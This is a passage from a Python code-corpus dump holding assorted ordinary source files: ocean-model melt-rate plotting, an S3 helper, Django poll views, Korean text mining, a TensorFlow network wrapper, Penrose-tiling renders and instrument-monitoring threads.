self.restartFileName = self.runStreams.readpath('restart')[0]\n except ValueError:\n raise IOError('No MPAS-O restart file found: need at least one '\n 'restart file for Antarctic melt calculations')\n\n # get a list of timeSeriesStats output files from the streams file,\n # reading only those that are between the start and end dates\n self.startDate = config.get('timeSeries', 'startDate')\n self.endDate = config.get('timeSeries', 'endDate')\n\n self.outFileName = 'iceShelfAggregatedFluxes.nc'\n\n self.variableList = \\\n ['timeMonthly_avg_landIceFreshwaterFlux']\n self.mpasTimeSeriesTask.add_variables(variableList=self.variableList)\n\n iceShelvesToPlot = config.getExpression('timeSeriesAntarcticMelt',\n 'iceShelvesToPlot')\n\n with xarray.open_dataset(self.regionMaskFileName) as dsRegionMask:\n regionNames = [bytes.decode(name) for name in\n dsRegionMask.regionNames.values]\n nRegions = dsRegionMask.dims['nRegions']\n\n if 'all' in iceShelvesToPlot:\n iceShelvesToPlot = regionNames\n regionIndices = [iRegion for iRegion in range(nRegions)]\n\n else:\n regionIndices = []\n for regionName in iceShelvesToPlot:\n if regionName not in regionNames:\n raise ValueError('Unknown ice shelf name {}'.format(\n regionName))\n\n iRegion = regionNames.index(regionName)\n regionIndices.append(iRegion)\n\n self.regionIndices = regionIndices\n self.iceShelvesToPlot = iceShelvesToPlot\n self.xmlFileNames = []\n\n for prefix in ['melt_flux', 'melt_rate']:\n for regionName in iceShelvesToPlot:\n regionName = regionName.replace(' ', '_')\n self.xmlFileNames.append(\n '{}/{}_{}.xml'.format(self.plotsDirectory, prefix,\n regionName))\n return # }}}\n\n def run_task(self): # {{{\n \"\"\"\n Performs analysis of the time-series output of Antarctic sub-ice-shelf\n melt rates.\n\n Authors\n -------\n Xylar Asay-Davis, Stephen Price\n \"\"\"\n\n self.logger.info(\"\\nPlotting Antarctic melt rate time series...\")\n\n self.logger.info(' Load melt rate data...')\n\n config = self.config\n calendar = self.calendar\n\n totalMeltFlux, meltRates = self._compute_ice_shelf_fluxes()\n\n plotRef = self.refConfig is not None\n if plotRef:\n refRunName = self.refConfig.get('runs', 'mainRunName')\n\n refTotalMeltFlux, refMeltRates = \\\n self._load_ice_shelf_fluxes(self.refConfig)\n\n # Load observations from multiple files and put in dictionary based\n # on shelf keyname\n observationsDirectory = build_config_full_path(config,\n 'oceanObservations',\n 'meltSubdirectory')\n obsFileNameDict = {'Rignot et al. (2013)':\n 'Rignot_2013_melt_rates.csv',\n 'Rignot et al. (2013) SS':\n 'Rignot_2013_melt_rates_SS.csv'}\n\n obsDict = {} # dict for storing dict of obs data\n for obsName in obsFileNameDict:\n obsFileName = '{}/{}'.format(observationsDirectory,\n obsFileNameDict[obsName])\n obsDict[obsName] = {}\n obsFile = csv.reader(open(obsFileName, 'rU'))\n next(obsFile, None) # skip the header line\n for line in obsFile: # some later useful values commented out\n shelfName = line[0]\n # surveyArea = line[1]\n meltFlux = float(line[2])\n meltFluxUncertainty = float(line[3])\n meltRate = float(line[4])\n meltRateUncertainty = float(line[5])\n # actualArea = float( line[6] ) # actual area here is in sq km\n\n # build dict of obs. keyed to filename description\n # (which will be used for plotting)\n obsDict[obsName][shelfName] = {\n 'meltFlux': meltFlux,\n 'meltFluxUncertainty': meltFluxUncertainty,\n 'meltRate': meltRate,\n 'meltRateUncertainty': meltRateUncertainty}\n\n # If areas from obs file used need to be converted from sq km to sq m\n\n mainRunName = config.get('runs', 'mainRunName')\n movingAverageMonths = config.getint('timeSeriesAntarcticMelt',\n 'movingAverageMonths')\n\n nRegions = totalMeltFlux.sizes['nRegions']\n\n outputDirectory = build_config_full_path(config, 'output',\n 'timeseriesSubdirectory')\n\n make_directories(outputDirectory)\n\n self.logger.info(' Make plots...')\n for iRegion in range(nRegions):\n\n regionName = self.iceShelvesToPlot[iRegion]\n\n # get obs melt flux and unc. for shelf (similar for rates)\n obsMeltFlux = []\n obsMeltFluxUnc = []\n obsMeltRate = []\n obsMeltRateUnc = []\n for obsName in obsDict:\n if regionName in obsDict[obsName]:\n obsMeltFlux.append(\n obsDict[obsName][regionName]['meltFlux'])\n obsMeltFluxUnc.append(\n obsDict[obsName][regionName]['meltFluxUncertainty'])\n obsMeltRate.append(\n obsDict[obsName][regionName]['meltRate'])\n obsMeltRateUnc.append(\n obsDict[obsName][regionName]['meltRateUncertainty'])\n else:\n # append NaN so this particular obs won't plot\n self.logger.warning('{} observations not available for '\n '{}'.format(obsName, regionName))\n obsMeltFlux.append(None)\n obsMeltFluxUnc.append(None)\n obsMeltRate.append(None)\n obsMeltRateUnc.append(None)\n\n title = regionName.replace('_', ' ')\n\n regionName = regionName.replace(' ', '_')\n\n xLabel = 'Time (yr)'\n yLabel = 'Melt Flux (GT/yr)'\n\n timeSeries = totalMeltFlux.isel(nRegions=iRegion)\n\n filePrefix = 'melt_flux_{}'.format(regionName)\n figureName = '{}/{}.png'.format(self.plotsDirectory, filePrefix)\n\n fields = [timeSeries]\n lineStyles = ['k-']\n lineWidths = [2.5]\n legendText = [mainRunName]\n if plotRef:\n fields.append(refTotalMeltFlux.isel(nRegions=iRegion))\n lineStyles.append('r-')\n lineWidths.append(1.2)\n legendText.append(refRunName)\n\n timeseries_analysis_plot(config, fields, movingAverageMonths,\n title, xLabel, yLabel, figureName,\n lineStyles=lineStyles,\n lineWidths=lineWidths,\n legendText=legendText,\n calendar=calendar, obsMean=obsMeltFlux,\n obsUncertainty=obsMeltFluxUnc,\n obsLegend=list(obsDict.keys()))\n\n caption = 'Running Mean of Total Melt Flux under Ice ' \\\n 'Shelves in the {} Region'.format(title)\n write_image_xml(\n config=config,\n filePrefix=filePrefix,\n componentName='Ocean',\n componentSubdirectory='ocean',\n galleryGroup='Antarctic Melt Time Series',\n groupLink='antmelttime',\n gallery='Total Melt Flux',\n thumbnailDescription=title,\n imageDescription=caption,\n imageCaption=caption)\n\n xLabel = 'Time (yr)'\n yLabel = 'Melt Rate (m/yr)'\n\n timeSeries = meltRates.isel(nRegions=iRegion)\n\n filePrefix = 'melt_rate_{}'.format(regionName)\n figureName = '{}/{}.png'.format(self.plotsDirectory, filePrefix)\n\n fields = [timeSeries]\n lineStyles = ['k-']\n lineWidths = [2.5]\n legendText = [mainRunName]\n if plotRef:\n fields.append(refMeltRates.isel(nRegions=iRegion))\n lineStyles.append('r-')\n lineWidths.append(1.2)\n legendText.append(refRunName)\n\n timeseries_analysis_plot(config, fields, movingAverageMonths,\n title, xLabel, yLabel, figureName,\n lineStyles=lineStyles,\n lineWidths=lineWidths,\n legendText=legendText,\n calendar=calendar, obsMean=obsMeltRate,\n obsUncertainty=obsMeltRateUnc,\n obsLegend=list(obsDict.keys()))\n\n caption = 'Running Mean of Area-averaged Melt Rate under Ice ' \\\n 'Shelves in the {} Region'.format(title)\n write_image_xml(\n config=config,\n filePrefix=filePrefix,\n componentName='Ocean',\n componentSubdirectory='ocean',\n galleryGroup='Antarctic Melt Time Series',\n groupLink='antmelttime',\n gallery='Area-averaged Melt Rate',\n thumbnailDescription=title,\n imageDescription=caption,\n imageCaption=caption)\n # }}}\n\n def _compute_ice_shelf_fluxes(self): # {{{\n \"\"\"\n Reads melt flux time series and computes regional total melt flux and\n mean melt rate.\n\n Authors\n -------\n Xylar Asay-Davis, Stephen Price\n \"\"\"\n\n mpasTimeSeriesTask = self.mpasTimeSeriesTask\n config = self.config\n\n baseDirectory = build_config_full_path(\n config, 'output', 'timeSeriesSubdirectory')\n\n outFileName = '{}/{}'.format(baseDirectory, self.outFileName)\n\n # Load data:\n inputFile = mpasTimeSeriesTask.outputFile\n dsIn = open_mpas_dataset(fileName=inputFile,\n calendar=self.calendar,\n variableList=self.variableList,\n startDate=self.startDate,\n endDate=self.endDate)\n try:\n if os.path.exists(outFileName):\n # The file already exists so load it\n dsOut = xarray.open_dataset(outFileName)\n if numpy.all(dsOut.Time.values == dsIn.Time.values):\n return dsOut.totalMeltFlux, dsOut.meltRates\n else:\n self.logger.warning('File {} is incomplete. Deleting '\n 'it.'.format(outFileName))\n os.remove(outFileName)\n except OSError:\n # something is potentailly wrong with the file, so let's delete\n # it and try again\n self.logger.warning('Problems reading file {}. Deleting '\n 'it.'.format(outFileName))\n os.remove(outFileName)\n\n # work on data from simulations\n freshwaterFlux = dsIn.timeMonthly_avg_landIceFreshwaterFlux\n\n restartFileName = \\\n mpasTimeSeriesTask.runStreams.readpath('restart')[0]\n\n dsRestart = xarray.open_dataset(restartFileName)\n areaCell = dsRestart.landIceFraction.isel(Time=0)*dsRestart.areaCell\n\n mpasMeshName = config.get('input', 'mpasMeshName')\n regionMaskDirectory = config.get('regions', 'regionMaskDirectory')\n\n regionMaskFileName = '{}/{}_iceShelfMasks.nc'.format(\n regionMaskDirectory, mpasMeshName)\n\n dsRegionMask = xarray.open_dataset(regionMaskFileName)\n\n # select only those regions we want to plot\n dsRegionMask = dsRegionMask.isel(nRegions=self.regionIndices)\n cellMasks = dsRegionMask.regionCellMasks\n\n # convert from kg/s to kg/yr\n totalMeltFlux = constants.sec_per_year * \\\n (cellMasks*areaCell*freshwaterFlux).sum(dim='nCells')\n\n totalArea = (cellMasks*areaCell).sum(dim='nCells')\n\n # from kg/m^2/yr to m/yr\n meltRates = (1./constants.rho_fw) * (totalMeltFlux/totalArea)\n\n # convert from kg/yr to GT/yr\n totalMeltFlux /= constants.kg_per_GT\n\n baseDirectory = build_config_full_path(\n config, 'output', 'timeSeriesSubdirectory')\n\n outFileName = '{}/iceShelfAggregatedFluxes.nc'.format(baseDirectory)\n\n dsOut = xarray.Dataset()\n dsOut['totalMeltFlux'] = totalMeltFlux\n dsOut.totalMeltFlux.attrs['units'] = 'GT a$^{-1}$'\n dsOut.totalMeltFlux.attrs['description'] = \\\n 'Total melt flux summed over each ice shelf or region'\n dsOut['meltRates'] = meltRates\n dsOut.meltRates.attrs['units'] = 'm a$^{-1}$'\n dsOut.meltRates.attrs['description'] = \\\n 'Melt rate averaged over each ice shelf or region'\n\n write_netcdf(dsOut, outFileName)\n\n return totalMeltFlux, meltRates # }}}\n\n def _load_ice_shelf_fluxes(self, config): # {{{\n \"\"\"\n Reads melt flux time series and computes regional total melt flux and\n mean melt rate.\n\n Authors\n -------\n Xylar Asay-Davis\n \"\"\"\n baseDirectory = build_config_full_path(\n config, 'output', 'timeSeriesSubdirectory')\n\n outFileName = '{}/{}'.format(baseDirectory, self.outFileName)\n\n dsOut = xarray.open_dataset(outFileName)\n return dsOut.totalMeltFlux, dsOut.meltRates\n\n\n# }}}\n\n# vim: foldmethod=marker ai ts=4 sts=4 et sw=4 ft=python\n","sub_path":"mpas_analysis/ocean/time_series_antarctic_melt.py","file_name":"time_series_antarctic_melt.py","file_ext":"py","file_size_in_byte":18002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"528563717","text":"import json\nimport csv\nimport pandas as pd \nimport boto3\nimport os\nimport time\nfrom botocore.client import Config\n\n\ncwd = os.getcwd()\n\ndef save_to_s3(s3_client,filepath,bucket_name,filename_in_s3):\n if os.path.isdir(filepath):\n dir_name = os.path.basename(filepath)\n for filename in os.listdir(filepath):\n if filename.endswith(\".csv\"):\n name = filename.split(\".\")[0]\n if name.isnumeric():\n unix_timestamp = int(name)\n local_time = time.localtime(unix_timestamp/1000)\n timestamp = time.strftime(\"%Y-%m-%d_%H:%M:%S\", local_time)\n filename_in_s3 = dir_name + \"/\" + timestamp + \".csv\"\n else:\n filename_in_s3 = dir_name + \"/\" + filename\n path = os.path.join(filepath,filename)\n print(filename_in_s3)\n s3_client.upload_file(path,bucket_name,filename_in_s3)\n \n else:\n dir_name = os.path.basename(os.path.dirname(filepath))\n filename_in_s3 = dir_name + \"/\" + os.path.basename(filepath)\n print(filename_in_s3)\n s3_client.upload_file(filepath,bucket_name,filename_in_s3)\n\ndef load_from_s3(s3_client,filename_in_s3,local_file_path,bucket_name):\n s3_client.download_file(bucket_name,filename_in_s3,local_file_path)\n return(pd.read_csv(local_file_path))\n\ndef start_s3_client(config):\n s3_client = boto3.client('s3' ,config[\"region_name\"],\n aws_access_key_id=config[\"aws_access_key_id\"],\n aws_secret_access_key=config[\"aws_secret_access_key\"])\n return s3_client\n\ndef get_latest_model_id(s3_client,bucket_name,prefix=\"training_output/\"):\n objs = s3_client.list_objects_v2(Bucket=bucket_name,Prefix=prefix,StartAfter=prefix)['Contents']\n latest = max(objs, key=lambda x: x['LastModified'])\n print(latest)\n timestamp= latest['Key'].split('/')[1]\n model_id = \"model_\" +str(timestamp)\n return(model_id)\n\n\ndef read_config(file_path):\n with open(file_path, 'r') as f:\n return(json.load(f))\n\nif __name__ == \"__main__\":\n conf = read_config(\"/home/teamjurassicpark/rohan/config.json\")['aws_access']\n bucket_name = conf['bucket_name']\n # local_file_path= cwd + \"temp_test.csv\"\n s3_client = start_s3_client(conf)\n\n print(get_latest_model_id(s3_client,bucket_name,\"training_output/\"))\n ","sub_path":"kafka-stream-processing/scripts/helper_s3.py","file_name":"helper_s3.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"464956969","text":"from django.shortcuts import redirect, render, HttpResponse\nfrom main import forms, models\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n# def home(request):\n# poll = models.Poll.objects.all()\n# polls = poll[::-1]\n# context = {\n# 'polls': polls\n# }\n# return render( request, 'main/home.html', context)\n\n@login_required(login_url='login')\ndef allpolls(request):\n poll = models.Poll.objects.all()\n polls = poll[::-1]\n context = {\n 'polls': polls\n }\n return render( request, 'main/index.html', context)\n\n@login_required(login_url='login')\ndef mypolls(request):\n user = request.user\n poll = user.poll_set.all()\n polls = poll[::-1]\n context = {\n 'polls': polls\n }\n return render( request, 'main/mypolls.html', context)\n\n\n@login_required(login_url='login')\ndef create(request):\n if request.method == \"POST\":\n form = forms.CreatePollForm(request.POST)\n form.instance.user = request.user\n if form.is_valid():\n form.save()\n return redirect('allpolls')\n else:\n form = forms.CreatePollForm()\n\n context = {\n 'form': form\n }\n return render(request, 'main/create.html', context)\n\n@login_required(login_url='login')\ndef vote(request, pk):\n poll = models.Poll.objects.get(pk=pk)\n if request.method == 'POST':\n selected_option = request.POST['poll']\n if selected_option == 'option_one':\n poll.option_one_count += 1\n elif selected_option == 'option_two':\n poll.option_two_count += 1\n elif selected_option == 'option_three':\n poll.option_three_count += 1\n elif selected_option == 'option_four':\n poll.option_four_count += 1\n else: return HttpResponse(400, 'Please select option!')\n\n poll.save()\n return redirect('result', pk)\n\n context = {\n 'poll': poll\n }\n return render( request, 'main/vote.html', context)\n\n@login_required(login_url='login')\ndef results(request, pk):\n poll = models.Poll.objects.get(pk=pk)\n totalvotes = poll.option_one_count + poll.option_two_count + poll.option_three_count + poll.option_four_count\n context = {\n 'poll': poll,\n 'totalvotes' : totalvotes\n }\n return render( request, 'main/results.html', context)","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"121511336","text":"\"\"\" 텍스트 마이닝 모듈 \"\"\"\n\nfrom konlpy.tag import Twitter\nfrom collections import Counter\nfrom wordcloud import WordCloud\nimport nltk\nimport matplotlib.pyplot as plt\nimport reader\nimport crawling\n\n# 태그 분석\ndef get_tags(text, ntags=50):\n spliter = Twitter()\n nouns = spliter.nouns(text)\n count = Counter(nouns)\n return_list = []\n for n, c in count.most_common(ntags):\n temp = {'tag': n, 'count': c}\n return_list.append(temp)\n return return_list\n\n# 텍스트 마이닝 저장\ndef get_img(title, text):\n t = Twitter()\n tokens_ko = t.nouns(text)\n temp = []\n for v in tokens_ko:\n if len(v) != 1:\n temp.append(v)\n ko = nltk.Text(temp, name=title)\n data = ko.vocab().most_common(500)\n tmp_data = dict(data)\n wordcloud = WordCloud(font_path=\"c:/Windows/Fonts/malgun.ttf\",\n relative_scaling=0.2,\n background_color='white',\n ).generate_from_frequencies(tmp_data)\n plt.figure(figsize=(32,16))\n plt.imshow(wordcloud)\n plt.axis(\"off\")\n # plt.show()\n out_path = \"output/{}.png\".format(title)\n plt.imsave(out_path, wordcloud)\n print(\"save: {}\".format(out_path))\n\n# 텍스트 마이닝 결과 이미지 저장\ndef save_imgs(csv_path):\n # 기사 목록을 읽어옴\n data = reader.read_csv(csv_path)\n # 각 기사 별 웹페이지의 tag 정보를 체크함\n reader.check_tag(data)\n # 연도별 기사 내용 모을 딕셔너리\n dic = dict()\n # 기사 크롤링 & 연도 별로 묶음\n crawling.get_article(data, dic)\n # 연도 별 텍스트 마이닝 결과 이미지 저장\n for d in dic:\n get_img(d, dic[d])\n\n# 텍스트 마이닝 태그 저장 함수\ndef save_tags(csv_path):\n # 기사 목록을 읽어옴\n data = reader.read_csv(csv_path)\n # 각 기사 별 웹페이지의 tag 정보를 체크함\n reader.check_tag(data)\n # 연도별 기사 내용 모을 딕셔너리\n dic = dict()\n # 기사 크롤링 & 연도 별로 묶음\n crawling.get_article(data, dic)\n # 연도 별 텍스트 마이닝 결과 파일 저장\n for d in dic:\n tags = get_tags(dic[d])\n out_name = \"output/{}.txt\".format(d)\n out_file = open(out_name, 'w')\n for tag in tags:\n noun = tag['tag']\n count = tag['count']\n if len(noun) != 1:\n out_file.write('{} {}\\n'.format(noun, count))\n out_file.close()\n print(out_name)","sub_path":"text_mining.py","file_name":"text_mining.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"398105200","text":"#! /usr/bin/env python3\n'''\n File name: bs4.py\n Author: ********************\n Date created: 5/28/2016\n Date last modified: 5/28/2016\n Python Version: 3.5.0\n'''\nimport requests, bs4\n\ndef main():\n res = open('example.html' )\n #try:\n #res.raise_for_status();\n #except Exception as exc:\n #print('There was a problem: %s' % (exc))\n nostartSoup=bs4.BeautifulSoup(res.read(), \"html.parser\")\n elems = nostartSoup.select('#author')\n print(len(elems))\n\nif __name__ == '__main__':\n main()","sub_path":"Secound Attempt/Chapter 11/beatest.py","file_name":"beatest.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"545134061","text":"\"\"\"Network interface implementation using the TF v1 framework.\"\"\"\n\nimport warnings\n\nimport gin\nimport numpy as np\nimport tensorflow as tf\n\nfrom alpacka.networks import core\n\n\nclass TFMetaGraphNetwork(core.Network):\n\n def __init__(\n self,\n network_signature,\n model_path=gin.REQUIRED,\n x_name='ppo2_model/Ob:0',\n y_name='ppo2_model/pi_1/add:0',\n device='/device:CPU:*',\n ):\n super().__init__(network_signature)\n\n tf.compat.v1.disable_eager_execution()\n self._sess = tf.compat.v1.Session()\n tf.compat.v1.keras.backend.set_session(self._sess)\n\n self._saver = tf.compat.v1.train.import_meta_graph(model_path + '.meta')\n\n graph = tf.compat.v1.get_default_graph()\n if device is not None:\n for op in graph.get_operations():\n op._set_device(device)\n\n self._saver.restore(self._sess, model_path)\n\n self._x = graph.get_tensor_by_name(x_name)\n self._y = graph.get_tensor_by_name(y_name)\n self._batch_size = self._x.shape[0]\n\n assert self._x.shape[1:] == network_signature.input.shape\n assert self._y.shape[1:] == network_signature.output.shape\n\n self._output_dtype = network_signature.output.dtype\n\n if self._batch_size is not None:\n warnings.warn(\n 'The input batch dimension has fixed size ({}), you should save'\n ' your graph with the batch dimension set to None.'.format(\n self._batch_size))\n\n def predict(self, inputs):\n inputs = inputs.astype(self._x.dtype.as_numpy_dtype())\n batch_size = inputs.shape[0]\n if self._batch_size is not None and batch_size < self._batch_size:\n inputs = np.resize(inputs, (self._batch_size,) + inputs.shape[1:])\n\n outputs = self._sess.run(self._y, feed_dict={self._x: inputs})\n\n return outputs[:batch_size].astype(self._output_dtype)\n\n @property\n def params(self):\n return self._sess.run(tf.compat.v1.trainable_variables())\n\n @params.setter\n def params(self, new_params):\n for t, v in zip(tf.compat.v1.trainable_variables(), new_params):\n tf.compat.v1.keras.backend.set_value(t, v)\n\n def save(self, checkpoint_path):\n pass\n\n def restore(self, checkpoint_path):\n pass\n","sub_path":"alpacka/networks/tensorflow.py","file_name":"tensorflow.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"220627972","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 25 23:10:25 2018\r\n\r\n@author: 35465\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\n###############################################################\r\n# bin_to_cv2 #\r\n# ----------------------------------------------------------- #\r\n# Input : byte string (bin_image) #\r\n# - a byte string of an image #\r\n# #\r\n# Output : cv2.imread() return value #\r\n# - cv2.imread() return value #\r\n###############################################################\r\ndef bin_to_cv2(bin_image):\r\n nparr = np.fromstring(bin_image, np.uint8)\r\n result = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\r\n return result\r\n\r\n \r\ndef main():\r\n fd = open('B.jpg', 'rb')\r\n img_str = fd.read()\r\n fd.close()\r\n \r\n image = bin_to_cv2(img_str)\r\n \r\n cv2.imshow('result', image)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n \r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"bin_to_cv2.py","file_name":"bin_to_cv2.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"236813126","text":"# Разработайте программу по следующему описанию.\n# В некой игре-стратегии есть солдаты и герои. У всех есть свойство, содержащее уникальный номер объекта, и свойство, \n# в котором хранится принадлежность команде. У солдат есть метод \"иду за героем\", который в качестве аргумента принимает объект типа \"герой\". \n# У героев есть метод увеличения собственного уровня.\n\n# В основной ветке программы создается по одному герою для каждой команды. В цикле генерируются объекты-солдаты. \n# Их принадлежность команде определяется случайно. Солдаты разных команд добавляются в разные списки.\n\n# Измеряется длина списков солдат противоборствующих команд и выводится на экран. У героя, принадлежащего команде с более длинным списком, поднимается уровень.\n# Отправьте одного из солдат первого героя следовать за ним. Выведите на экран идентификационные номера этих двух юнитов\n\nimport random\n\nclass Unit :\n def __init__(self, n, pk) :\n self.number = n\n self.belong = pk\n\nclass Soldier(Unit) :\n def go(self, g) :\n self.hero = g \n\nclass Hero(Unit) :\n def __init__(self, n, pk, l = 1) :\n Unit.__init__(self, n, pk) \n self.level = l\n \n def levelup(self) :\n self.level = int(self.level) + 1\n \n\ng1 = Hero(1, 'k1', 3)\ng2 = Hero(2, 'k2')\n\nk1 = []\nk2 = []\nfor i in range(3, 20) :\n k = random.randint(0,1)\n if k == 0 :\n s = Soldier(i, 'k1')\n k1.append(s)\n else : \n s = Soldier(i, 'k2')\n k2.append(s) \n \n\n\nif len(k1) > len(k2) :\n print(len(k1))\n g1.levelup()\n print('Level первого героя увеличен', g1.level)\nelse : \n print(len(k2))\n g2.levelup()\n print('Level второго героя увеличен', g2.level)\n\nk1[0].go(g1)\nsol = k1[0]\nprint('Номер героя', g1.number, 'номер солдата', sol.number) \n","sub_path":"OOP/inheritance.py","file_name":"inheritance.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"194149428","text":"class Item:\n # wave 02 & 05\n def __init__(self, category=\"\", condition=0.0, age=0.0):\n self.category = category\n self.condition = condition\n self.age = age\n\n # wave 03\n def __str__(self):\n return \"Hello World!\"\n \n # wave 05\n def condition_description(self):\n if self.condition == 0:\n return \"I am brand new!\"\n elif self.condition == 1:\n return \"I am fairly new.\"\n elif self.condition == 2:\n return \"I am second hand but in a good condition.\"\n elif self.condition == 3:\n return \"I am heavily used.\"\n elif self.condition == 4:\n return \"I am in a bad condition!\"\n else:\n return \"I am broken...\"\n\n","sub_path":"swap_meet/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"299247797","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 01 10:57:48 2016\n\n@author: Flehr\n\"\"\"\n\nimport Queue, threading, time\nimport numpy as np\nfrom tc08usb import TC08USB, USBTC08_TC_TYPE, USBTC08_ERROR#, USBTC08_UNITS\n\n\n\nclass MonitorHyperionThread(threading.Thread):\n def __init__(self, dataQ, device, channelList=[1,], specDevider=1):\n threading.Thread.__init__(self)\n \n self.dataQ = dataQ\n self.alive = threading.Event()\n self.alive.set()\n self.streamDev = specDevider\n \n self.h1 = device\n self.channelList = channelList\n \n \n def run(self):\n self.h1.enable_spectrum_streaming(streamingDivider = self.streamDev)\n while self.alive.isSet():\n self.h1.stream_raw_spectrum()\n \n if len(self.channelList) == 0:\n channelList = np.arange(4)\n else:\n channelList = np.array(self.channelList) - 1\n \n data = np.reshape(self.h1.spectrum.data, \n (self.h1.spectrum.numChannels, self.h1.spectrum.numPoints))[channelList,:]\n \n spectrumOffsets = np.array(self.h1.offset)[channelList]\n spectrumInvScales = np.array(self.h1.invScale)[channelList]\n data = data.T*spectrumInvScales + spectrumOffsets\n data = data.T\n if len(data) > 0:\n self.dataQ.put((data, time.time()))\n \n \n \n def join(self, timeout = None):\n self.alive.clear()\n threading.Thread.join(self, timeout) \n \n def setChannelList(self, chList):\n self.channelList = chList\n \n\n\nclass MonitorTC08USBThread(threading.Thread):\n def __init__(self, device, dataQ):\n threading.Thread.__init__(self)\n \n self.dataQ = dataQ\n self.alive = threading.Event()\n self.alive.set() \n self.tc08 = device\n self.tc08.set_mains(50)\n self.tc08.set_channel(1, USBTC08_TC_TYPE.K)\n #self.tc08.set_channel(2, USBTC08_TC_TYPE.K)\n \n def join(self, timeout = None):\n self.alive.clear()\n threading.Thread.join(self, timeout) \n \n def run(self):\n while self.alive.isSet():\n self.tc08.get_single()\n temp = self.tc08[1]\n #temp2 = self.tc08[2]\n #print(temp, temp2)\n self.dataQ.put(temp)\n \n \n ","sub_path":"Monitor.py","file_name":"Monitor.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"515902574","text":"# pylint: disable=unused-import\n# pylint: disable=undefined-variable\n\nimport numpy as np\nfrom vapory import *\nfrom palettable.colorbrewer.qualitative import Set1_6\nfrom penrose import Penrose\nfrom cell120 import Cell_120\n\n# 'Media' was not implemented yet when this script was written\nclass Media(POVRayElement):\n \"\"\"Media()\"\"\"\n\n\ncolorlist = Set1_6.mpl_colors\ndefault = Finish('ambient', 0.3, 'diffuse', 0.7, 'phong', 1)\n\npenrose_config = {'vertex_size': 0.05,\n 'vertex_texture': Texture(Pigment('color', 'White'), default),\n 'edge_thickness': 0.05,\n 'edge_texture': Texture(Pigment('color', 'White'), default),\n 'default': default}\n\ncell_120_config = {'vertex_size': 0.05,\n 'vertex_texture': Texture(Pigment('color', 'White'), default),\n 'edge_thickness': 0.08,\n 'edge_texture': Texture(Pigment('color', 'White', 'transmit', 0),\n Finish('reflection', 0.4, 'brilliance', 0.4)),\n 'face_texture': Texture(Pigment('color', 'Blue', 'transmit', 0.7),\n Finish('reflection', 0, 'brilliance', 0)),\n 'interior': Interior(Media('intervals', 1, 'samples', 1, 1, 'emission', 1))}\n\n\n# shift = [0.5] * 5: the star pattern\nleftwall = Penrose(num_lines=10,\n shift=(0.5, 0.5, 0.5, 0.5, 0.5),\n thin_color=colorlist[0],\n fat_color=colorlist[1],\n **penrose_config).put_objs('scale', 1.5,\n 'rotate', (0, -45, 0),\n 'translate', (-18, 0, 18))\n\n# a random pattern\nrightwall = Penrose(num_lines=10,\n shift=np.random.random(5),\n thin_color=colorlist[2],\n fat_color=colorlist[3],\n **penrose_config).put_objs('scale', 1.5,\n 'rotate', (0, 45, 0),\n 'translate', (18, 0, 18))\n\n# when the numbers in shift sums to zero (mod 1), it's the standard Penrose tiling.\nfloor = Penrose(num_lines=10,\n shift=(0.1, 0.2, -0.3, 0.6, -0.6),\n thin_color=colorlist[4],\n fat_color=colorlist[5],\n **penrose_config).put_objs('scale', 1.5,\n 'rotate', (90, 0, 0))\n\ncell_120 = Cell_120(**cell_120_config).put_objs('scale', 2.2,\n 'translate',\n (0, -Cell_120.bottom, 0))\n\ncamera = Camera('location', (0, 12, -30), 'look_at', (0, 0, 20))\nlight = LightSource((-30, 30, -30), 'color', (1, 1, 1))\nobjects = [light, leftwall, rightwall, floor, cell_120]\nscene = Scene(camera, objects, included=['colors.inc'])\nscene.render('penrose_120cell.png', width=600, height=480, antialiasing=0.001)\n","sub_path":"src/120cell/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"371116173","text":"from textproc import rwtools\n\ndef transmute(item, st):\n lst = [i.strip() for i in item.split('|')]\n res_dct = {}\n for item in lst[1:]:\n try:\n key, val = item.split(':')\n res_dct[key.strip()] = [val.strip()]\n except:\n print(item, st, 'something')\n res_dct['ALG'] = []\n if 'POSITION' not in res_dct:\n res_dct['POSITION'] = []\n if 'SCORE' not in res_dct:\n res_dct['SCORE'] = []\n return lst[0], res_dct\n\ndef txt_concls_to_dct(folder_path):\n res_dct = {}\n concls_dct = {}\n paths = rwtools.collect_exist_files(folder_path, suffix='.txt')\n #print('Len paths', len(paths))\n for path in paths:\n alg_name = path.stem[:-8]\n text = rwtools.read_text(path)\n concl, _, *acts = text.strip().split('\\n') \n concl_num = path.stem[-2:]\n #print(path.stem, concl_num)\n concls_dct[concl_num] = concl\n if len(acts)>0:\n acts = [act for act in acts if act]\n else:\n continue\n if concl_num not in 